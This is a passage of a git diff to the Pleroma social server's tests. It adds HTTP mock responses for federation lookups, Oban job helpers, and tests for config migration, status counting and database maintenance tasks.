+ %Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/tesla_mock/moonman@shitposter.club.json")
+ }}
+ end
+
def get("https://mastodon.social/users/emelie/statuses/101849165031453009", _, _, _) do
{:ok,
%Tesla.Env{
@@ -43,6 +54,14 @@ defmodule HttpRequestMock do
}}
end
+ def get("https://mastodon.social/users/emelie/statuses/101849165031453404", _, _, _) do
+ {:ok,
+ %Tesla.Env{
+ status: 404,
+ body: ""
+ }}
+ end
+
def get("https://mastodon.social/users/emelie", _, _, _) do
{:ok,
%Tesla.Env{
@@ -51,6 +70,10 @@ defmodule HttpRequestMock do
}}
end
+ def get("https://mastodon.social/users/not_found", _, _, _) do
+ {:ok, %Tesla.Env{status: 404}}
+ end
+
def get("https://mastodon.sdf.org/users/rinpatch", _, _, _) do
{:ok,
%Tesla.Env{
@@ -285,6 +308,24 @@ defmodule HttpRequestMock do
}}
end
+ def get("https://mobilizon.org/events/252d5816-00a3-4a89-a66f-15bf65c33e39", _, _,
+ Accept: "application/activity+json"
+ ) do
+ {:ok,
+ %Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/tesla_mock/mobilizon.org-event.json")
+ }}
+ end
+
+ def get("https://mobilizon.org/@tcit", _, _, Accept: "application/activity+json") do
+ {:ok,
+ %Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/tesla_mock/mobilizon.org-user.json")
+ }}
+ end
+
def get("https://baptiste.gelez.xyz/@/BaptisteGelez", _, _, _) do
{:ok,
%Tesla.Env{
@@ -301,6 +342,22 @@ defmodule HttpRequestMock do
}}
end
+ def get("https://wedistribute.org/wp-json/pterotype/v1/object/85810", _, _, _) do
+ {:ok,
+ %Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/tesla_mock/wedistribute-article.json")
+ }}
+ end
+
+ def get("https://wedistribute.org/wp-json/pterotype/v1/actor/-blog", _, _, _) do
+ {:ok,
+ %Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/tesla_mock/wedistribute-user.json")
+ }}
+ end
+
def get("http://mastodon.example.org/users/admin", _, _, Accept: "application/activity+json") do
{:ok,
%Tesla.Env{
@@ -309,10 +366,193 @@ defmodule HttpRequestMock do
}}
end
+ def get("http://mastodon.example.org/users/relay", _, _, Accept: "application/activity+json") do
+ {:ok,
+ %Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/tesla_mock/relay@mastdon.example.org.json")
+ }}
+ end
+
def get("http://mastodon.example.org/users/gargron", _, _, Accept: "application/activity+json") do
{:error, :nxdomain}
end
+ def get("http://osada.macgirvin.com/.well-known/host-meta", _, _, _) do
+ {:ok,
+ %Tesla.Env{
+ status: 404,
+ body: ""
+ }}
+ end
+
+ def get("https://osada.macgirvin.com/.well-known/host-meta", _, _, _) do
+ {:ok,
+ %Tesla.Env{
+ status: 404,
+ body: ""
+ }}
+ end
+
+ def get("http://mastodon.sdf.org/.well-known/host-meta", _, _, _) do
+ {:ok,
+ %Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/tesla_mock/sdf.org_host_meta")
+ }}
+ end
+
+ def get("https://mastodon.sdf.org/.well-known/host-meta", _, _, _) do
+ {:ok,
+ %Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/tesla_mock/sdf.org_host_meta")
+ }}
+ end
+
+ def get(
+ "https://mastodon.sdf.org/.well-known/webfinger?resource=https://mastodon.sdf.org/users/snowdusk",
+ _,
+ _,
+ _
+ ) do
+ {:ok,
+ %Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/tesla_mock/snowdusk@sdf.org_host_meta.json")
+ }}
+ end
+
+ def get("http://mstdn.jp/.well-known/host-meta", _, _, _) do
+ {:ok,
+ %Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/tesla_mock/mstdn.jp_host_meta")
+ }}
+ end
+
+ def get("https://mstdn.jp/.well-known/host-meta", _, _, _) do
+ {:ok,
+ %Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/tesla_mock/mstdn.jp_host_meta")
+ }}
+ end
+
+ def get("https://mstdn.jp/.well-known/webfinger?resource=kpherox@mstdn.jp", _, _, _) do
+ {:ok,
+ %Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/tesla_mock/kpherox@mstdn.jp.xml")
+ }}
+ end
+
+ def get("http://mamot.fr/.well-known/host-meta", _, _, _) do
+ {:ok,
+ %Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/tesla_mock/mamot.fr_host_meta")
+ }}
+ end
+
+ def get("https://mamot.fr/.well-known/host-meta", _, _, _) do
+ {:ok,
+ %Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/tesla_mock/mamot.fr_host_meta")
+ }}
+ end
+
+ def get(
+ "https://mamot.fr/.well-known/webfinger?resource=https://mamot.fr/users/Skruyb",
+ _,
+ _,
+ _
+ ) do
+ {:ok,
+ %Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/tesla_mock/skruyb@mamot.fr.atom")
+ }}
+ end
+
+ def get("http://pawoo.net/.well-known/host-meta", _, _, _) do
+ {:ok,
+ %Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/tesla_mock/pawoo.net_host_meta")
+ }}
+ end
+
+ def get("https://pawoo.net/.well-known/host-meta", _, _, _) do
+ {:ok,
+ %Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/tesla_mock/pawoo.net_host_meta")
+ }}
+ end
+
+ def get(
+ "https://pawoo.net/.well-known/webfinger?resource=https://pawoo.net/users/pekorino",
+ _,
+ _,
+ _
+ ) do
+ {:ok,
+ %Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/tesla_mock/pekorino@pawoo.net_host_meta.json")
+ }}
+ end
+
+ def get("http://zetsubou.xn--q9jyb4c/.well-known/host-meta", _, _, _) do
+ {:ok,
+ %Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/tesla_mock/xn--q9jyb4c_host_meta")
+ }}
+ end
+
+ def get("https://zetsubou.xn--q9jyb4c/.well-known/host-meta", _, _, _) do
+ {:ok,
+ %Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/tesla_mock/xn--q9jyb4c_host_meta")
+ }}
+ end
+
+ def get("http://pleroma.soykaf.com/.well-known/host-meta", _, _, _) do
+ {:ok,
+ %Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/tesla_mock/soykaf.com_host_meta")
+ }}
+ end
+
+ def get("https://pleroma.soykaf.com/.well-known/host-meta", _, _, _) do
+ {:ok,
+ %Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/tesla_mock/soykaf.com_host_meta")
+ }}
+ end
+
+ def get("http://social.stopwatchingus-heidelberg.de/.well-known/host-meta", _, _, _) do
+ {:ok,
+ %Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/tesla_mock/stopwatchingus-heidelberg.de_host_meta")
+ }}
+ end
+
+ def get("https://social.stopwatchingus-heidelberg.de/.well-known/host-meta", _, _, _) do
+ {:ok,
+ %Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/tesla_mock/stopwatchingus-heidelberg.de_host_meta")
+ }}
+ end
+
def get(
"http://mastodon.example.org/@admin/99541947525187367",
_,
@@ -326,6 +566,14 @@ defmodule HttpRequestMock do
}}
end
+ def get("http://mastodon.example.org/@admin/99541947525187368", _, _, _) do
+ {:ok,
+ %Tesla.Env{
+ status: 404,
+ body: ""
+ }}
+ end
+
def get("https://shitposter.club/notice/7369654", _, _, _) do
{:ok,
%Tesla.Env{
@@ -406,7 +654,7 @@ defmodule HttpRequestMock do
{:ok,
%Tesla.Env{
status: 200,
- body: File.read!("test/fixtures/tesla_mock/https___shitposter.club_notice_2827873.html")
+ body: File.read!("test/fixtures/tesla_mock/https___shitposter.club_notice_2827873.json")
}}
end
@@ -614,6 +862,15 @@ defmodule HttpRequestMock do
}}
end
+ def get(
+ "https://social.heldscal.la/.well-known/webfinger?resource=invalid_content@social.heldscal.la",
+ _,
+ _,
+ Accept: "application/xrd+xml,application/jrd+json"
+ ) do
+ {:ok, %Tesla.Env{status: 200, body: ""}}
+ end
+
def get("http://framatube.org/.well-known/host-meta", _, _, _) do
{:ok,
%Tesla.Env{
@@ -743,6 +1000,11 @@ defmodule HttpRequestMock do
{:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/lambadalambda.json")}}
end
+ def get("https://apfed.club/channel/indio", _, _, _) do
+ {:ok,
+ %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/osada-user-indio.json")}}
+ end
+
def get("https://social.heldscal.la/user/23211", _, _, Accept: "application/activity+json") do
{:ok, Tesla.Mock.json(%{"id" => "https://social.heldscal.la/user/23211"}, status: 200)}
end
@@ -767,6 +1029,14 @@ defmodule HttpRequestMock do
}}
end
+ def get("http://localhost:4001/users/masto_closed/followers?page=1", _, _, _) do
+ {:ok,
+ %Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/users_mock/masto_closed_followers_page.json")
+ }}
+ end
+
def get("http://localhost:4001/users/masto_closed/following", _, _, _) do
{:ok,
%Tesla.Env{
@@ -775,6 +1045,30 @@ defmodule HttpRequestMock do
}}
end
+ def get("http://localhost:4001/users/masto_closed/following?page=1", _, _, _) do
+ {:ok,
+ %Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/users_mock/masto_closed_following_page.json")
+ }}
+ end
+
+ def get("http://localhost:8080/followers/fuser3", _, _, _) do
+ {:ok,
+ %Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/users_mock/friendica_followers.json")
+ }}
+ end
+
+ def get("http://localhost:8080/following/fuser3", _, _, _) do
+ {:ok,
+ %Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/users_mock/friendica_following.json")
+ }}
+ end
+
def get("http://localhost:4001/users/fuser2/followers", _, _, _) do
{:ok,
%Tesla.Env{
@@ -915,9 +1209,77 @@ defmodule HttpRequestMock do
{:ok, %Tesla.Env{status: 404, body: ""}}
end
+ def get("https://mstdn.jp/.well-known/webfinger?resource=acct:kpherox@mstdn.jp", _, _, _) do
+ {:ok,
+ %Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/tesla_mock/kpherox@mstdn.jp.xml")
+ }}
+ end
+
+ def get("https://10.111.10.1/notice/9kCP7V", _, _, _) do
+ {:ok, %Tesla.Env{status: 200, body: ""}}
+ end
+
+ def get("https://172.16.32.40/notice/9kCP7V", _, _, _) do
+ {:ok, %Tesla.Env{status: 200, body: ""}}
+ end
+
+ def get("https://192.168.10.40/notice/9kCP7V", _, _, _) do
+ {:ok, %Tesla.Env{status: 200, body: ""}}
+ end
+
+ def get("https://www.patreon.com/posts/mastodon-2-9-and-28121681", _, _, _) do
+ {:ok, %Tesla.Env{status: 200, body: ""}}
+ end
+
+ def get("http://mastodon.example.org/@admin/99541947525187367", _, _, _) do
+ {:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/mastodon-post-activity.json")}}
+ end
+
+ def get("https://info.pleroma.site/activity4.json", _, _, _) do
+ {:ok, %Tesla.Env{status: 500, body: "Error occurred"}}
+ end
+
+ def get("http://example.com/rel_me/anchor", _, _, _) do
+ {:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/rel_me_anchor.html")}}
+ end
+
+ def get("http://example.com/rel_me/anchor_nofollow", _, _, _) do
+ {:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/rel_me_anchor_nofollow.html")}}
+ end
+
+ def get("http://example.com/rel_me/link", _, _, _) do
+ {:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/rel_me_link.html")}}
+ end
+
+ def get("http://example.com/rel_me/null", _, _, _) do
+ {:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/rel_me_null.html")}}
+ end
+
+ def get("https://skippers-bin.com/notes/7x9tmrp97i", _, _, _) do
+ {:ok,
+ %Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/tesla_mock/misskey_poll_no_end_date.json")
+ }}
+ end
+
+ def get("https://skippers-bin.com/users/7v1w1r8ce6", _, _, _) do
+ {:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/sjw.json")}}
+ end
+
+ def get("https://patch.cx/users/rin", _, _, _) do
+ {:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/rin.json")}}
+ end
+
+ def get("http://example.com/rel_me/error", _, _, _) do
+ {:ok, %Tesla.Env{status: 404, body: ""}}
+ end
+
def get(url, query, body, headers) do
{:error,
- "Not implemented the mock response for get #{inspect(url)}, #{query}, #{inspect(body)}, #{
+ "Mock response not implemented for GET #{inspect(url)}, #{query}, #{inspect(body)}, #{
inspect(headers)
}"}
end
@@ -979,7 +1341,10 @@ defmodule HttpRequestMock do
}}
end
- def post(url, _query, _body, _headers) do
- {:error, "Not implemented the mock response for post #{inspect(url)}"}
+ def post(url, query, body, headers) do
+ {:error,
+ "Mock response not implemented for POST #{inspect(url)}, #{query}, #{inspect(body)}, #{
+ inspect(headers)
+ }"}
end
end
diff --git a/test/support/mrf_module_mock.ex b/test/support/mrf_module_mock.ex
new file mode 100644
index 000000000..632c7ff1d
--- /dev/null
+++ b/test/support/mrf_module_mock.ex
@@ -0,0 +1,13 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule MRFModuleMock do
+ @behaviour Pleroma.Web.ActivityPub.MRF
+
+ @impl true
+ def filter(message), do: {:ok, message}
+
+ @impl true
+ def describe, do: {:ok, %{mrf_module_mock: "some config data"}}
+end
diff --git a/test/support/oban_helpers.ex b/test/support/oban_helpers.ex
new file mode 100644
index 000000000..72792c064
--- /dev/null
+++ b/test/support/oban_helpers.ex
@@ -0,0 +1,42 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Tests.ObanHelpers do
+ @moduledoc """
+ Oban test helpers.
+ """
+
+ alias Pleroma.Repo
+
+ def perform_all do
+ Oban.Job
+ |> Repo.all()
+ |> perform()
+ end
+
+ def perform(%Oban.Job{} = job) do
+ res = apply(String.to_existing_atom("Elixir." <> job.worker), :perform, [job.args, job])
+ Repo.delete(job)
+ res
+ end
+
+ def perform(jobs) when is_list(jobs) do
+ for job <- jobs, do: perform(job)
+ end
+
+ def member?(%{} = job_args, jobs) when is_list(jobs) do
+ Enum.any?(jobs, fn job ->
+ member?(job_args, job.args)
+ end)
+ end
+
+ def member?(%{} = test_attrs, %{} = attrs) do
+ Enum.all?(
+ test_attrs,
+ fn {k, _v} -> member?(test_attrs[k], attrs[k]) end
+ )
+ end
+
+ def member?(x, y), do: x == y
+end
diff --git a/test/support/web_push_http_client_mock.ex b/test/support/web_push_http_client_mock.ex
index d8accd21c..1d6ccff7e 100644
--- a/test/support/web_push_http_client_mock.ex
+++ b/test/support/web_push_http_client_mock.ex
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.WebPushHttpClientMock do
diff --git a/test/tasks/config_test.exs b/test/tasks/config_test.exs
index a9b79eb5b..d79d34276 100644
--- a/test/tasks/config_test.exs
+++ b/test/tasks/config_test.exs
@@ -4,64 +4,193 @@
defmodule Mix.Tasks.Pleroma.ConfigTest do
use Pleroma.DataCase
+
+ alias Pleroma.ConfigDB
alias Pleroma.Repo
- alias Pleroma.Web.AdminAPI.Config
setup_all do
Mix.shell(Mix.Shell.Process)
- temp_file = "config/temp.exported_from_db.secret.exs"
-
- dynamic = Pleroma.Config.get([:instance, :dynamic_configuration])
-
- Pleroma.Config.put([:instance, :dynamic_configuration], true)
on_exit(fn ->
Mix.shell(Mix.Shell.IO)
Application.delete_env(:pleroma, :first_setting)
Application.delete_env(:pleroma, :second_setting)
- Pleroma.Config.put([:instance, :dynamic_configuration], dynamic)
- :ok = File.rm(temp_file)
end)
- {:ok, temp_file: temp_file}
+ :ok
+ end
+
+ clear_config_all(:configurable_from_database) do
+ Pleroma.Config.put(:configurable_from_database, true)
end
- test "settings are migrated to db" do
- assert Repo.all(Config) == []
+ test "error if file with custom settings doesn't exist" do
+ Mix.Tasks.Pleroma.Config.migrate_to_db("config/not_existance_config_file.exs")
- Application.put_env(:pleroma, :first_setting, key: "value", key2: [Pleroma.Repo])
- Application.put_env(:pleroma, :second_setting, key: "value2", key2: [Pleroma.Activity])
+ assert_receive {:mix_shell, :info,
+ [
+ "To migrate settings, you must define custom settings in config/not_existance_config_file.exs."
+ ]},
+ 15
+ end
- Mix.Tasks.Pleroma.Config.run(["migrate_to_db"])
+ describe "migrate_to_db/1" do
+ setup do
+ initial = Application.get_env(:quack, :level)
+ on_exit(fn -> Application.put_env(:quack, :level, initial) end)
+ end
- first_db = Config.get_by_params(%{group: "pleroma", key: ":first_setting"})
- second_db = Config.get_by_params(%{group: "pleroma", key: ":second_setting"})
- refute Config.get_by_params(%{group: "pleroma", key: "Pleroma.Repo"})
+ test "settings are migrated to db" do
+ assert Repo.all(ConfigDB) == []
- assert Config.from_binary(first_db.value) == [key: "value", key2: [Pleroma.Repo]]
- assert Config.from_binary(second_db.value) == [key: "value2", key2: [Pleroma.Activity]]
- end
+ Mix.Tasks.Pleroma.Config.migrate_to_db("test/fixtures/config/temp.secret.exs")
+
+ config1 = ConfigDB.get_by_params(%{group: ":pleroma", key: ":first_setting"})
+ config2 = ConfigDB.get_by_params(%{group: ":pleroma", key: ":second_setting"})
+ config3 = ConfigDB.get_by_params(%{group: ":quack", key: ":level"})
+ refute ConfigDB.get_by_params(%{group: ":pleroma", key: "Pleroma.Repo"})
- test "settings are migrated to file and deleted from db", %{temp_file: temp_file} do
- Config.create(%{
- group: "pleroma",
- key: ":setting_first",
- value: [key: "value", key2: [Pleroma.Activity]]
- })
+ assert ConfigDB.from_binary(config1.value) == [key: "value", key2: [Repo]]
+ assert ConfigDB.from_binary(config2.value) == [key: "value2", key2: ["Activity"]]
+ assert ConfigDB.from_binary(config3.value) == :info
+ end
- Config.create(%{
- group: "pleroma",
- key: ":setting_second",
- value: [key: "valu2", key2: [Pleroma.Repo]]
- })
+ test "config table is truncated before migration" do
+ ConfigDB.create(%{
+ group: ":pleroma",
+ key: ":first_setting",
+ value: [key: "value", key2: ["Activity"]]
+ })
- Mix.Tasks.Pleroma.Config.run(["migrate_from_db", "temp", "true"])
+ assert Repo.aggregate(ConfigDB, :count, :id) == 1
- assert Repo.all(Config) == []
- assert File.exists?(temp_file)
- {:ok, file} = File.read(temp_file)
+ Mix.Tasks.Pleroma.Config.migrate_to_db("test/fixtures/config/temp.secret.exs")
+
+ config = ConfigDB.get_by_params(%{group: ":pleroma", key: ":first_setting"})
+ assert ConfigDB.from_binary(config.value) == [key: "value", key2: [Repo]]
+ end
+ end
- assert file =~ "config :pleroma, :setting_first,"
- assert file =~ "config :pleroma, :setting_second,"
+ describe "with deletion temp file" do
+ setup do
+ temp_file = "config/temp.exported_from_db.secret.exs"
+
+ on_exit(fn ->
+ :ok = File.rm(temp_file)
+ end)
+
+ {:ok, temp_file: temp_file}
+ end
+
+ test "settings are migrated to file and deleted from db", %{temp_file: temp_file} do
+ ConfigDB.create(%{
+ group: ":pleroma",
+ key: ":setting_first",
+ value: [key: "value", key2: ["Activity"]]
+ })
+
+ ConfigDB.create(%{
+ group: ":pleroma",
+ key: ":setting_second",
+ value: [key: "value2", key2: [Repo]]
+ })
+
+ ConfigDB.create(%{group: ":quack", key: ":level", value: :info})
+
+ Mix.Tasks.Pleroma.Config.run(["migrate_from_db", "--env", "temp", "-d"])
+
+ assert Repo.all(ConfigDB) == []
+
+ file = File.read!(temp_file)
+ assert file =~ "config :pleroma, :setting_first,"
+ assert file =~ "config :pleroma, :setting_second,"
+ assert file =~ "config :quack, :level, :info"
+ end
+
+ test "load a settings with large values and pass to file", %{temp_file: temp_file} do
+ ConfigDB.create(%{
+ group: ":pleroma",
+ key: ":instance",
+ value: [
+ name: "Pleroma",
+ email: "example@example.com",
+ notify_email: "noreply@example.com",
+ description: "A Pleroma instance, an alternative fediverse server",
+ limit: 5_000,
+ chat_limit: 5_000,
+ remote_limit: 100_000,
+ upload_limit: 16_000_000,
+ avatar_upload_limit: 2_000_000,
+ background_upload_limit: 4_000_000,
+ banner_upload_limit: 4_000_000,
+ poll_limits: %{
+ max_options: 20,
+ max_option_chars: 200,
+ min_expiration: 0,
+ max_expiration: 365 * 24 * 60 * 60
+ },
+ registrations_open: true,
+ federating: true,
+ federation_incoming_replies_max_depth: 100,
+ federation_reachability_timeout_days: 7,
+ federation_publisher_modules: [Pleroma.Web.ActivityPub.Publisher],
+ allow_relay: true,
+ rewrite_policy: Pleroma.Web.ActivityPub.MRF.NoOpPolicy,
+ public: true,
+ quarantined_instances: [],
+ managed_config: true,
+ static_dir: "instance/static/",
+ allowed_post_formats: ["text/plain", "text/html", "text/markdown", "text/bbcode"],
+ mrf_transparency: true,
+ mrf_transparency_exclusions: [],
+ autofollowed_nicknames: [],
+ max_pinned_statuses: 1,
+ no_attachment_links: true,
+ welcome_user_nickname: nil,
+ welcome_message: nil,
+ max_report_comment_size: 1000,
+ safe_dm_mentions: false,
+ healthcheck: false,
+ remote_post_retention_days: 90,
+ skip_thread_containment: true,
+ limit_to_local_content: :unauthenticated,
+ user_bio_length: 5000,
+ user_name_length: 100,
+ max_account_fields: 10,
+ max_remote_account_fields: 20,
+ account_field_name_length: 512,
+ account_field_value_length: 2048,
+ external_user_synchronization: true,
+ extended_nickname_format: true,
+ multi_factor_authentication: [
+ totp: [
+ # digits 6 or 8
+ digits: 6,
+ period: 30
+ ],
+ backup_codes: [
+ number: 2,
+ length: 6
+ ]
+ ]
+ ]
+ })
+
+ Mix.Tasks.Pleroma.Config.run(["migrate_from_db", "--env", "temp", "-d"])
+
+ assert Repo.all(ConfigDB) == []
+ assert File.exists?(temp_file)
+ {:ok, file} = File.read(temp_file)
+
+ header =
+ if Code.ensure_loaded?(Config.Reader) do
+ "import Config"
+ else
+ "use Mix.Config"
+ end
+
+ assert file ==
+ "#{header}\n\nconfig :pleroma, :instance,\n name: \"Pleroma\",\n email: \"example@example.com\",\n notify_email: \"noreply@example.com\",\n description: \"A Pleroma instance, an alternative fediverse server\",\n limit: 5000,\n chat_limit: 5000,\n remote_limit: 100_000,\n upload_limit: 16_000_000,\n avatar_upload_limit: 2_000_000,\n background_upload_limit: 4_000_000,\n banner_upload_limit: 4_000_000,\n poll_limits: %{\n max_expiration: 31_536_000,\n max_option_chars: 200,\n max_options: 20,\n min_expiration: 0\n },\n registrations_open: true,\n federating: true,\n federation_incoming_replies_max_depth: 100,\n federation_reachability_timeout_days: 7,\n federation_publisher_modules: [Pleroma.Web.ActivityPub.Publisher],\n allow_relay: true,\n rewrite_policy: Pleroma.Web.ActivityPub.MRF.NoOpPolicy,\n public: true,\n quarantined_instances: [],\n managed_config: true,\n static_dir: \"instance/static/\",\n allowed_post_formats: [\"text/plain\", \"text/html\", \"text/markdown\", \"text/bbcode\"],\n mrf_transparency: true,\n mrf_transparency_exclusions: [],\n autofollowed_nicknames: [],\n max_pinned_statuses: 1,\n no_attachment_links: true,\n welcome_user_nickname: nil,\n welcome_message: nil,\n max_report_comment_size: 1000,\n safe_dm_mentions: false,\n healthcheck: false,\n remote_post_retention_days: 90,\n skip_thread_containment: true,\n limit_to_local_content: :unauthenticated,\n user_bio_length: 5000,\n user_name_length: 100,\n max_account_fields: 10,\n max_remote_account_fields: 20,\n account_field_name_length: 512,\n account_field_value_length: 2048,\n external_user_synchronization: true,\n extended_nickname_format: true,\n multi_factor_authentication: [\n totp: [digits: 6, period: 30],\n backup_codes: [number: 2, length: 6]\n ]\n"
+ end
end
end
diff --git a/test/tasks/count_statuses_test.exs b/test/tasks/count_statuses_test.exs
new file mode 100644
index 000000000..bb5dc88f8
--- /dev/null
+++ b/test/tasks/count_statuses_test.exs
@@ -0,0 +1,39 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Mix.Tasks.Pleroma.CountStatusesTest do
+ use Pleroma.DataCase
+
+ alias Pleroma.User
+ alias Pleroma.Web.CommonAPI
+
+ import ExUnit.CaptureIO, only: [capture_io: 1]
+ import Pleroma.Factory
+
+ test "counts statuses" do
+ user = insert(:user)
+ {:ok, _} = CommonAPI.post(user, %{"status" => "test"})
+ {:ok, _} = CommonAPI.post(user, %{"status" => "test2"})
+
+ user2 = insert(:user)
+ {:ok, _} = CommonAPI.post(user2, %{"status" => "test3"})
+
+ user = refresh_record(user)
+ user2 = refresh_record(user2)
+
+ assert %{note_count: 2} = user
+ assert %{note_count: 1} = user2
+
+ {:ok, user} = User.update_note_count(user, 0)
+ {:ok, user2} = User.update_note_count(user2, 0)
+
+ assert %{note_count: 0} = user
+ assert %{note_count: 0} = user2
+
+ assert capture_io(fn -> Mix.Tasks.Pleroma.CountStatuses.run([]) end) == "Done\n"
+
+ assert %{note_count: 2} = refresh_record(user)
+ assert %{note_count: 1} = refresh_record(user2)
+ end
+end
diff --git a/test/tasks/database_test.exs b/test/tasks/database_test.exs
index 579130b05..0c7883f33 100644
--- a/test/tasks/database_test.exs
+++ b/test/tasks/database_test.exs
@@ -3,8 +3,12 @@
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Mix.Tasks.Pleroma.DatabaseTest do
+ alias Pleroma.Activity
+ alias Pleroma.Object
alias Pleroma.Repo
alias Pleroma.User
+ alias Pleroma.Web.CommonAPI
+
use Pleroma.DataCase
import Pleroma.Factory
@@ -19,31 +23,108 @@ defmodule Mix.Tasks.Pleroma.DatabaseTest do
:ok
end
+ describe "running remove_embedded_objects" do
+ test "it replaces objects with references" do
+ user = insert(:user)
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "test"})
+ new_data = Map.put(activity.data, "object", activity.object.data)
+
+ {:ok, activity} =
+ activity
+ |> Activity.change(%{data: new_data})
+ |> Repo.update()
+
+ assert is_map(activity.data["object"])
+
+ Mix.Tasks.Pleroma.Database.run(["remove_embedded_objects"])
+
+ activity = Activity.get_by_id_with_object(activity.id)
+ assert is_binary(activity.data["object"])
+ end
+ end
+
+ describe "prune_objects" do
+ test "it prunes old objects from the database" do
+ insert(:note)
+ deadline = Pleroma.Config.get([:instance, :remote_post_retention_days]) + 1
+
+ date =
+ Timex.now()
+ |> Timex.shift(days: -deadline)
+ |> Timex.to_naive_datetime()
+ |> NaiveDateTime.truncate(:second)
+
+ %{id: id} =
+ :note
+ |> insert()
+ |> Ecto.Changeset.change(%{inserted_at: date})
+ |> Repo.update!()
+
+ assert length(Repo.all(Object)) == 2
+
+ Mix.Tasks.Pleroma.Database.run(["prune_objects"])
+
+ assert length(Repo.all(Object)) == 1
+ refute Object.get_by_id(id)
+ end
+ end
+
describe "running update_users_following_followers_counts" do
test "following and followers count are updated" do
[user, user2] = insert_pair(:user)
- {:ok, %User{following: following, info: info} = user} = User.follow(user, user2)
+ {:ok, %User{} = user} = User.follow(user, user2)
- assert length(following) == 2
- assert info.follower_count == 0
+ following = User.following(user)
- info_cng = Ecto.Changeset.change(info, %{follower_count: 3})
+ assert length(following) == 2
+ assert user.follower_count == 0
{:ok, user} =
user
- |> Ecto.Changeset.change(%{following: following ++ following})
- |> Ecto.Changeset.put_embed(:info, info_cng)
+ |> Ecto.Changeset.change(%{follower_count: 3})
|> Repo.update()
- assert length(user.following) == 4
- assert user.info.follower_count == 3
+ assert user.follower_count == 3
assert :ok == Mix.Tasks.Pleroma.Database.run(["update_users_following_followers_counts"])
user = User.get_by_id(user.id)
- assert length(user.following) == 2
- assert user.info.follower_count == 0
+ assert length(User.following(user)) == 2
+ assert user.follower_count == 0
+ end
+ end
+
+ describe "running fix_likes_collections" do
+ test "it turns OrderedCollection likes into empty arrays" do
+ [user, user2] = insert_pair(:user)
+
+ {:ok, %{id: id, object: object}} = CommonAPI.post(user, %{"status" => "test"})
+ {:ok, %{object: object2}} = CommonAPI.post(user, %{"status" => "test test"})
+
+ CommonAPI.favorite(id, user2)
+
+ likes = %{
+ "first" =>
+ "http://mastodon.example.org/objects/dbdbc507-52c8-490d-9b7c-1e1d52e5c132/likes?page=1",
+ "id" => "http://mastodon.example.org/objects/dbdbc507-52c8-490d-9b7c-1e1d52e5c132/likes",
+ "totalItems" => 3,
+ "type" => "OrderedCollection"
+ }
+
+ new_data = Map.put(object2.data, "likes", likes)
+
+ object2
+ |> Ecto.Changeset.change(%{data: new_data})
+ |> Repo.update()
+
+ assert length(Object.get_by_id(object.id).data["likes"]) == 1
+ assert is_map(Object.get_by_id(object2.id).data["likes"])
+
+ assert :ok == Mix.Tasks.Pleroma.Database.run(["fix_likes_collections"])
+
+ assert length(Object.get_by_id(object.id).data["likes"]) == 1
+ assert Enum.empty?(Object.get_by_id(object2.id).data["likes"])
end
end
end
diff --git a/test/tasks/digest_test.exs b/test/tasks/digest_test.exs
new file mode 100644
index 000000000..96d762685
--- /dev/null
+++ b/test/tasks/digest_test.exs
@@ -0,0 +1,54 @@
+defmodule Mix.Tasks.Pleroma.DigestTest do
+ use Pleroma.DataCase
+
+ import Pleroma.Factory
+ import Swoosh.TestAssertions
+
+ alias Pleroma.Tests.ObanHelpers
+ alias Pleroma.Web.CommonAPI
+
+ setup_all do
+ Mix.shell(Mix.Shell.Process)
+
+ on_exit(fn ->
